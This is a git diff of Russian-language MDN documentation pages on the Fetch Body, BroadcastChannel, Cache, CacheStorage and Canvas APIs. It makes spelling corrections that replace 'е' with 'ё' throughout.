@@ -32,9 +32,9 @@ translation_of: Web/API/Body/arrayBuffer
 
            new Audio(music.ogg).play()
 
            
 
-
            В функции getData() мы создаем новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя arrayBuffer(), декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (source.buffer), затем используем данные этого ресурса в  {{domxref("AudioContext.destination")}}.
            
+
            В функции getData() мы создаём новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя arrayBuffer(), декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (source.buffer), затем используем данные этого ресурса в  {{domxref("AudioContext.destination")}}.
            
 
-
            Когда функция getData() заканчивает свое выполнение, мы стартуем проигрывание аудио ресурса функцией start(0), потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)
            
+
            Когда функция getData() заканчивает своё выполнение, мы стартуем проигрывание аудио ресурса функцией start(0), потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)
            
 
 
            function getData() {
   source = audioCtx.createBufferSource();
diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html
index 47b40dee49..76811b032b 100644
--- a/files/ru/web/api/body/json/index.html
+++ b/files/ru/web/api/body/json/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Body/json
 ---
 
            {{APIRef("Fetch")}}
            
 
-
            Метод json() , определен на миксине {{domxref("Body")}}, который включён в объектах Request и Response, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.
            
+
            Метод json() , определён на миксине {{domxref("Body")}}, который включён в объектах Request и Response, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет колбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.
            
 
 
            Синтаксис
            
 
@@ -27,7 +27,7 @@ translation_of: Web/API/Body/json
 
 
            Пример
            
 
-
            В нашем fetch json примере (запустите fetch json live), мы создаем новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения .json файла. Когда fetch запрос будет выполнен, мы прочтем и спарсим данные, используя json(), а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.
            
+
            В нашем fetch json примере (запустите fetch json live), мы создаём новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения .json файла. Когда fetch запрос будет выполнен, мы прочтём и спарсим данные, используя json(), а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.
            
 
 
            var myList = document.querySelector('ul');
 
@@ -64,7 +64,7 @@ fetch(myRequest)
 
 
            Совместимость с браузерами
            
 
-
+
 
 
            {{Compat("api.Body.json")}}
            
 
diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html
index b898960fe3..1f3a792ce0 100644
--- a/files/ru/web/api/broadcastchannel/index.html
+++ b/files/ru/web/api/broadcastchannel/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel
 
 
            
  
            {{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}
            
- 
            Создает объект, связанный с именованным каналом.
            
+ 
            Создаёт объект, связанный с именованным каналом.
            
 
            
 
 
            Свойства
            
@@ -27,7 +27,7 @@ translation_of: Web/API/BroadcastChannel
  
            Обработчики событий
            
  
  
            {{domxref("BroadcastChannel.onmessage")}}
            
- 
            {{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдет вызов события {{event("message")}} на этом объекте.
            
+ 
            {{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдёт вызов события {{event("message")}} на этом объекте.
            
  
            {{domxref("BroadcastChannel.onmessageerror")}}
            
  
            {{domxref("EventHandler")}}, который вызывается, когда приходит {{domxref("MessageEvent")}} типа {{domxref("MessageError")}} — когда приходит сообщение, которое не может быть десереализовано.
            diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html index abbb139478..39bf32b534 100644 --- a/files/ru/web/api/broadcastchannel/postmessage/index.html +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BroadcastChannel/postMessage ---

            {{APIRef("BroadCastChannel API")}}

            -

            BroadcastChannel.postMessage() отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передается в виде события {{event("message")}} к каждому BroadcastChannel, привязанному к данному каналу.

            +

            BroadcastChannel.postMessage() отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому обработчику в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передаётся в виде события {{event("message")}} к каждому BroadcastChannel, привязанному к данному каналу.

            {{AvailableInWorkers}}

            diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html index fd32f46b8c..ae88c76901 100644 --- a/files/ru/web/api/cache/add/index.html +++ b/files/ru/web/api/cache/add/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Cache/add

            Для более сложных операций, вам нужно использовать {{domxref("Cache.put","Cache.put()")}}.

            -

            Замечание: add() перезапишет любую пару ключ/значение, сохраненную ранее в кеше, соответствующем запросу.

            +

            Замечание: add() перезапишет любую пару ключ/значение, сохранённую ранее в кеше, соответствующем запросу.

            Синтаксис

            diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html index 094912bdeb..d72262f99d 100644 --- a/files/ru/web/api/cache/addall/index.html +++ b/files/ru/web/api/cache/addall/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Cache/addAll
            -

            Замечание: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа еще формируется.

            +

            Замечание: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа ещё формируется.

            diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html index 5efa82b44a..846ccc2a0c 100644 --- a/files/ru/web/api/cache/delete/index.html +++ b/files/ru/web/api/cache/delete/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/Cache/delete
          3. ignoreSearch: Булево значение {{domxref("Boolean")}}, которое определяет будет ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при сопоставлении ключей. По умолчанию установлено в false.
          4. ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, если равно true, предотвращает проверку {{domxref("Request")}} при сопоставлении ключей на HTTP метод (обычно допускаются только GET и HEAD). По умолчанию установлено в false.
          5. ignoreVary: Булево значение {{domxref("Boolean")}}, которое, если равно true, указывает операции сопоставления ключей не проводить проверку заголовка VARY.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок VARY на объекте запроса {{domxref("Response")}}. По умолчанию установлено в false.
            6. -
          6. cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом Cache.delete().
            7. +
          7. cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом Cache.delete().
            8. diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html index 53bfe013d4..dc5d273133 100644 --- a/files/ru/web/api/cache/index.html +++ b/files/ru/web/api/cache/index.html @@ -5,18 +5,18 @@ translation_of: Web/API/Cache ---

            {{APIRef("Service Workers API")}}{{SeeCompatTable}}

            -

            Интерфейс Cache представляет собой механизм хранения пары объектов Request / Response, которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определен в их спецификации.

            +

            Интерфейс Cache представляет собой механизм хранения пары объектов Request / Response, которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определён в их спецификации.

            -

            Для вызывающего скрипта может быть множество именованных объектов Cache. Разработчик сам определяет реализацию того, как скрипт (например, в  {{domxref("ServiceWorker")}}) управляет обновлением Cache. Записи в Cache не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечет до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определенный именованный объект Cache и затем вызывайте любые методы Cache для управления его состоянием.

            +

            Для вызывающего скрипта может быть множество именованных объектов Cache. Разработчик сам определяет реализацию того, как скрипт (например, в  {{domxref("ServiceWorker")}}) управляет обновлением Cache. Записи в Cache не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечёт до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определённый именованный объект Cache и затем вызывайте любые методы Cache для управления его состоянием.

            -

            Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жесткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите Удаление старого кеша.

            +

            Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жёсткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удаляет ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите Удаление старого кеша.

            Замечание: {{domxref("Cache.put")}}, {{domxref("Cache.add")}} и {{domxref("Cache.addAll")}} допускают сохранение в кеш только GET запросов.

            -

            Замечание: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все еще загружается в потоке.

            +

            Замечание: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все ещё загружается в потоке.

            @@ -47,7 +47,7 @@ translation_of: Web/API/Cache
            {{domxref("Cache.delete", "Cache.delete(request, options)")}}
            Находит запись {{domxref("Cache")}}, чей ключ является запросом, и, в случае нахождения, удаляет запись {{domxref("Cache")}}  и возвращает {{jsxref("Promise")}}, успешно завершающийся со значением true. Если же запись  {{domxref("Cache")}} не найдена, возвращается false.
            {{domxref("Cache.keys", "Cache.keys(request, options)")}}
            -
            Возвращает {{jsxref("Promise")}}, который отдает массив ключей {{domxref("Cache")}}.
            +
            Возвращает {{jsxref("Promise")}}, который отдаёт массив ключей {{domxref("Cache")}}.

            Примеры

            @@ -56,9 +56,9 @@ translation_of: Web/API/Cache

            Далее используется {{domxref("Cache.match", "Cache.match(request, options)")}} для определения того, находится ли уже совпадающий шрифт в кеше, и, если так, то возвращает его. Если же совпадающего шрифта нет, код получает этот шрифт по сети и использует {{domxref("Cache.put","Cache.put(request, response)")}} для кеширования полученного ресурса.

            -

            Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой  (например, 404) не будет вызывать исключения. Будет возвращен нормальный объект ответа с установленным соответствующим кодом ошибки.

            +

            Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой  (например, 404) не будет вызывать исключения. Будет возвращён нормальный объект ответа с установленным соответствующим кодом ошибки.

            -

            Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращенный идентификатор кеша с определенным, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя CURRENT_CACHES.

            +

            Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращённый идентификатор кеша с определённым, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя CURRENT_CACHES.

            В примере кода "кеш" это атрибут WorkerGlobalScope сервис воркеров. Он содержит объект CacheStorage, через который можно получить доступ к CacheStorage  API.

            @@ -66,7 +66,7 @@ translation_of: Web/API/Cache 
            var CACHE_VERSION = 1;
 
-// Сокращенный идентификатор привязанный к определенной версии кеша.
+// Сокращённый идентификатор привязанный к определённой версии кеша.
 var CURRENT_CACHES = {
   font: 'font-cache-v' + CACHE_VERSION
 };
diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html
index 0ae385d424..aa09fb7642 100644
--- a/files/ru/web/api/cache/keys/index.html
+++ b/files/ru/web/api/cache/keys/index.html
@@ -28,14 +28,14 @@ translation_of: Web/API/Cache/keys
 
 
            
  
            request {{optional_inline}}
            
- 
            {{domxref("Request")}} который будет возвращен, если найден указанный ключ.
            
+ 
            {{domxref("Request")}} который будет возвращён, если найден указанный ключ.
            
  
            options {{optional_inline}}
            
  
            Объект, чьи свойства контролируют то, как выполняется сопоставление ключей для операции keys. Допустимые параметры:
  
              
   
            • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое определяет должен ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при сопоставлении. По умолчанию установлено в false.
              • 
   
            • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, когда равно true, предотвращает проверку {{domxref("Request")}}, при сопоставлении ключей, на HTTP метод (обычно допускаются только GET и HEAD). По умолчанию установлено в false.
              • 
   
            • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, когда равно true, указывает операции сопоставления ключей не проводить проверку заголовка VARY.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок VARY на объекте запроса {{domxref("Response")}}. По умолчанию установлено в false.
              • 
-  
            • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом Cache.keys().
              • 
+  
            • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определённый кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом Cache.keys().
              • 
  
            
  
            
 
            
diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html
index a487987497..ae0b0783bd 100644
--- a/files/ru/web/api/cache/match/index.html
+++ b/files/ru/web/api/cache/match/index.html
@@ -28,12 +28,12 @@ translation_of: Web/API/Cache/match
  
            request
            
  
            Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.
            
  
            options {{optional_inline}}
            
- 
            Объект, который задает параметры для операции match. Допустимые значения:
+ 
            Объект, который задаёт параметры для операции match. Допустимые значения:
  
              
   
            • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое указывает следует ли игнорировать строку запроса в url.  Например, если оно установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при поиске соответствий ключа. По умолчанию равно false.
              • 
   
            • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, когда равно true, предотвращает проверку http метода для запроса  {{domxref("Request")}} при выполнении сопоставлений ключа (обычно разрешены лишь GET и HEAD). По умолчанию равно false.
              • 
   
            • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, когда установлено в true, указывает операции сопоставления ключа не проводить проверку соответствия заголовка VARY — т.е., если URL совпадает, вы получите соответствие независимо от того, установлен ли на объекте {{domxref("Response")}} заголовок VARY. По умолчанию равно false.
              • 
-  
            • cacheName: Строка {{domxref("DOMString")}}, задающая определенный кеш для поиска. Заметьте, что этот параметр игнорируется методом  Cache.match().
              • 
+  
            • cacheName: Строка {{domxref("DOMString")}}, задающая определённый кеш для поиска. Заметьте, что этот параметр игнорируется методом  Cache.match().
              • 
  
            
 
  
            В Chrome поддерживается лишь cacheName.
            
diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html
index 49d37cd9cd..98471205c0 100644
--- a/files/ru/web/api/cachestorage/index.html
+++ b/files/ru/web/api/cachestorage/index.html
@@ -15,36 +15,36 @@ translation_of: Web/API/CacheStorage
 ---
 
            {{APIRef("Service Workers API")}}{{SeeCompatTable}}
            
 
-
            Интерфейс CacheStorage представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имен соответствующих объектов {{domxref("Cache")}}.
            
+
            Интерфейс CacheStorage представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованных кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имён соответствующих объектов {{domxref("Cache")}}.
            
 
 
            CacheStorage также позволяет вызвать {{domxref("CacheStorage.open()")}} и {{domxref("CacheStorage.match()")}}. Используйте {{domxref("CacheStorage.open()")}} для получения экземпляров {{domxref("Cache")}}. Используйте {{domxref("CacheStorage.match()")}} для проверки того, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом CacheStorage.
            
 
 
            Вы можете получить доступ к CacheStorage через глобальное свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.
            
 
-
            Заметка: CacheStorage всегда возвращает отказ с SecurityError для ненадежных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.
            
+
            Заметка: CacheStorage всегда возвращает отказ с SecurityError для ненадёжных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.
            
 
-
            Заметка: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путем открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.
            
+
            Заметка: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путём открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.
            
 
 
            Методы
            
 
 
            
  
            {{domxref("CacheStorage.match()")}}
            
- 
            Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдет совпадение.
            
+ 
            Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдёт совпадение.
            
  
            {{domxref("CacheStorage.has()")}}
            
- 
            Возвращает {{jsxref("Promise")}}, который успешно завершится и вернет true, если объект {{domxref("Cache")}} содержит кеш с установленным cacheName.
            
+ 
            Возвращает {{jsxref("Promise")}}, который успешно завершится и вернёт true, если объект {{domxref("Cache")}} содержит кеш с установленным cacheName.
            
  
            {{domxref("CacheStorage.open()")}}
            
- 
            Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдет необходимый объект с cacheName (если такого нет, то создаст новый).
            
+ 
            Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдёт необходимый объект с cacheName (если такого нет, то создаст новый).
            
  
            {{domxref("CacheStorage.delete()")}}
            
- 
            Находит объект {{domxref("Cache")}}, соответствующий cacheName, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с true. Если объект {{domxref("Cache")}} не найдет, то возвращается false.
            
+ 
            Находит объект {{domxref("Cache")}}, соответствующий cacheName, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с true. Если объект {{domxref("Cache")}} не найдёт, то возвращается false.
            
  
            {{domxref("CacheStorage.keys()")}}
            
- 
            Возвращает {{jsxref("Promise")}}, который вернет массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.
            
+ 
            Возвращает {{jsxref("Promise")}}, который вернёт массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.
            
 
            
 
 
            Примеры
            
 
 
            Фрагмент кода взят с MDN sw-test example (смотри sw-test running live). Этот service worker ожидает старта события {{domxref("InstallEvent")}}, затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Он состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша и затем использует {{domxref("Cache.addAll")}} для добавления к нему списка ресурсов.
            
 
-
            Во втором блоке кода мы ждем запуска события {{domxref("FetchEvent")}}. Мы создаем встроенный ответ:
            
+
            Во втором блоке кода мы ждём запуска события {{domxref("FetchEvent")}}. Мы создаём встроенный ответ:
            
 
 
              
  
            1. Проверяем, был ли необходимый запрос найден в CacheStorage. Если да, выполняем его.
              2. 
diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
index 4f0922351f..d7afa0bf65 100644
--- a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
+++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
@@ -15,19 +15,19 @@ translation_of: Web/API/Canvas_API/A_basic_ray-caster
 
 
              Я попробовал небольшой эксперимент, понимая, к моему восторгу, что стильный элемент <canvas> о котором я читал, поддерживается не только в Fierfox, но так же поддерживается последней версией Safari.
              
 
-
              Хорошие обзор и руководство по canvas я нашел в MDN, но никто еще не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.
              
+
              Хорошие обзор и руководство по canvas я нашёл в MDN, но никто ещё не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.
              
 
 
              Как?
              
 
-
              Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas доберется до этого, и я хотел посмотреть, смогу ли я это сделать.
              
+
              Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas доберётся до этого, и я хотел посмотреть, смогу ли я это сделать.
              
 
-
              Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчеты и останавливается если вы бездействуете. Получив расчеты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более темной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.
              
+
              Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчёты и останавливается если вы бездействуете. Получив расчёты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более тёмной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.
              
 
-
              Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и  java raycaster, которую я нашел в интернете, отфильтровал, переименовал, и внес все изменения, которые нужно было внести, чтобы все работало хорошо.
              
+
              Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и  java raycaster, которую я нашёл в интернете, отфильтровал, переименовал, и внёс все изменения, которые нужно было внести, чтобы все работало хорошо.
              
 
 
              Результаты
              
 
-
              Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 еще быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то еще. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.
              
+
              Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 ещё быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то ещё. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.
              
 
 
              Кроме того, он оставляет желать лучшего с точки зрения попыток быть игровым движком—нет текстур стен, нет спрайтов, нет дверей, даже нет телепортов, чтобы добраться до другого уровня. Но я уверен, что все эти вещи могут быть добавлены, через некоторое время. Canvas API поддерживает пиксельное копирование изображений, поэтому текстуры могут быть добавлены. Я оставлю это для другой статьи, возможно, от другого человека. =)
              
 
diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
index a1b7b04467..dddee8da38 100644
--- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
@@ -364,7 +364,7 @@ ball.draw();
 
 
              Breakout(арканоид)
              
 
-
              В этой короткой главе описаны некоторые приемы создания продвинутой анимации.  Как насчет того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите Game development чтобы узнать больше об играх.
              
+
              В этой короткой главе описаны некоторые приёмы создания продвинутой анимации.  Как насчёт того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите Game development чтобы узнать больше об играх.
              
 
 
              Смотрите так же
              
 
diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
index 7eea729bc2..9a750e66cc 100644
--- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
@@ -21,7 +21,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_
  
              Устанавливает стиль контура фигуры. 
              
 
 
-
              color может быть цветом, (строка, представленная в CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура  — черный (значение CSS цвета  #000000).
              
+
